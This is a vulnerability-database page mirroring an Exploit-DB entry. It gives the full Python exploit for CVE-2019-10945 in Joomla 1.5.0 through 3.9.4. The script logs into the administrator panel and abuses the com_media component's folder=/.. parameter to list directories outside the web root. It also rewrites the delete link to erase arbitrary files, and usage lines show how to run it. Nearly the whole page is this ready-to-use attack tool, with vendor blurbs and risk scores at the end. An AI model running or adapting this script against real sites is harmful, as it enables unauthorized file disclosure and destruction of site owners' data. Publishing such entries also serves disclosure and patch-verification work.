Lucene search
K

Joomla! Core 1.5.0 - 3.9.4 - Directory Traversal / Authenticated Arbitrary File Deletion

🗓️ 16 Apr 2019 00:00:00Reported by Haboob TeamType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 176 Views

Joomla! Core 1.5.0 - 3.9.4 Directory Traversal & File Deletio

Related
Code
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Date: 2019-March-13
# Exploit Author: Haboob Team
# Web Site: haboob.sa
# Email: [email protected]
# Software Link: https://www.joomla.org/
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# CVE : CVE-2019-10945
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945
#
# Usage:
#  List files in the specified directory:
#  python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory name>
#
#  Delete file in specified directory
#  python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory to list>  --rm=<file name>


import re
import tempfile
import pickle
import os
import hashlib
import urllib

try:
    import click
except ImportError:
    print("module 'click' doesn't exist, type: pip install click")
    exit(0)

try:
    import requests
except ImportError:
    print("module 'requests' doesn't exist, type: pip install requests")
    exit(0)
try:
    import lxml.html
except ImportError:
    print("module 'lxml' doesn't exist, type: pip install lxml")
    exit(0)

mediaList = "?option=com_media&view=mediaList&tmpl=component&folder=/.."

print ''' 
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# Web Site: Haboob.sa
# Email: [email protected]
# Versions: Joomla 1.5.0 through Joomla 3.9.4
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945    
 _    _          ____   ____   ____  ____  
| |  | |   /\   |  _ \ / __ \ / __ \|  _ \ 
| |__| |  /  \  | |_) | |  | | |  | | |_) |
|  __  | / /\ \ |  _ <| |  | | |  | |  _ < 
| |  | |/ ____ \| |_) | |__| | |__| | |_) |
|_|  |_/_/    \_\____/ \____/ \____/|____/ 
                                                                       
'''
class URL(click.ParamType):
    name = 'url'
    regex = re.compile(
        r'^(?:http)s?://'  # http:// or https://
        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'  # domain...
        r'localhost|'  # localhost...
        r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'  # ...or ip
        r'(?::\d+)?'  # optional port
        r'(?:/?|[/?]\S+)$', re.IGNORECASE)

    def convert(self, value, param, ctx):
        if not isinstance(value, tuple):
            if re.match(self.regex, value) is None:
                self.fail('invalid URL (%s)' % value, param, ctx)
        return value


def getForm(url, query, cookie=''):
    r = requests.get(url, cookies=cookie, timeout=5)
    if r.status_code != 200:
        print("invalid URL: 404 NOT FOUND!!")
        exit(0)
    page = r.text.encode('utf-8')
    html = lxml.html.fromstring(page)
    return html.xpath(query), r.cookies


def login(url, username, password):
    csrf, cookie = getForm(url, '//input/@name')
    postData = {'username': username, 'passwd': password, 'option': 'com_login', 'task': 'login',
                'return': 'aW5kZXgucGhw', csrf[-1]: 1}

    res = requests.post(url, cookies=cookie.get_dict(), data=postData, allow_redirects=False)
    if res.status_code == 200:
        html = lxml.html.fromstring(res.text)
        msg = html.xpath("//div[@class='alert-message']/text()[1]")
        print msg
        exit()
    else:
        get_cookies(res.cookies.get_dict(), url, username, password)


def save_cookies(requests_cookiejar, filename):
    with open(filename, 'wb') as f:
        pickle.dump(requests_cookiejar, f)


def load_cookies(filename):
    with open(filename, 'rb') as f:
        return pickle.load(f)


def cookies_file_name(url, username, password):
    result = hashlib.md5(str(url) + str(username) + str(password))
    _dir = tempfile.gettempdir()
    return _dir + "/" + result.hexdigest() + ".Jcookie"


def get_cookies(req_cookie, url, username, password):
    cookie_file = cookies_file_name(url, username, password)
    if os.path.isfile(cookie_file):
        return load_cookies(cookie_file)
    else:
        save_cookies(req_cookie, cookie_file)
        return req_cookie


def traversal(url, username, password, dir=None):
    cookie = get_cookies('', url, username, password)
    url = url + mediaList + dir
    files, cookie = getForm(url, "//input[@name='rm[]']/@value", cookie)
    for file in files:
        print file
    pass


def removeFile(baseurl, username, password, dir='', file=''):
    cookie = get_cookies('', baseurl, username, password)
    url = baseurl + mediaList + dir
    link, _cookie = getForm(url, "//a[@target='_top']/@href", cookie)
    if link:
        link = urllib.unquote(link[0].encode("utf8"))
        link = link.split('folder=')[0]
        link = link.replace("folder.delete", "file.delete")
        link = baseurl + link + "folder=/.." + dir + "&rm[]=" + file
        msg, cookie = getForm(link, "//div[@class='alert-message']/text()[1]", cookie)
        if len(msg) == 0:
            print "ERROR : File does not exist"
        else:
            print msg
    else:
        print "ERROR:404 NOT FOUND!!"


@click.group(invoke_without_command=True)
@click.option('--url', type=URL(), help="Joomla Administrator URL", required=True)
@click.option('--username', type=str, help="Joomla Manager username", required=True)
@click.option('--password', type=str, help="Joomla Manager password", required=True)
@click.option('--dir', type=str, help="listing directory")
@click.option('--rm', type=str, help="delete file")
@click.pass_context
def cli(ctx, url, username, password, dir, rm):
    url = url+"/"
    cookie_file = cookies_file_name(url, username, password)
    if not os.path.isfile(cookie_file):
        login(url, username, password)
    if dir is not None:
        dir = dir.lstrip('/')
        dir = dir.rstrip('/')
        dir = "/" + dir
        if dir == "/" or dir == "../" or dir == "/.":
            dir = ''
    else:
        dir = ''
    print dir
    if rm is not None:
        removeFile(url, username, password, dir, rm)
    else:
        traversal(url, username, password, dir)


cli()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2019 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 27.5
CVSS 39.8
EPSS0.81095
176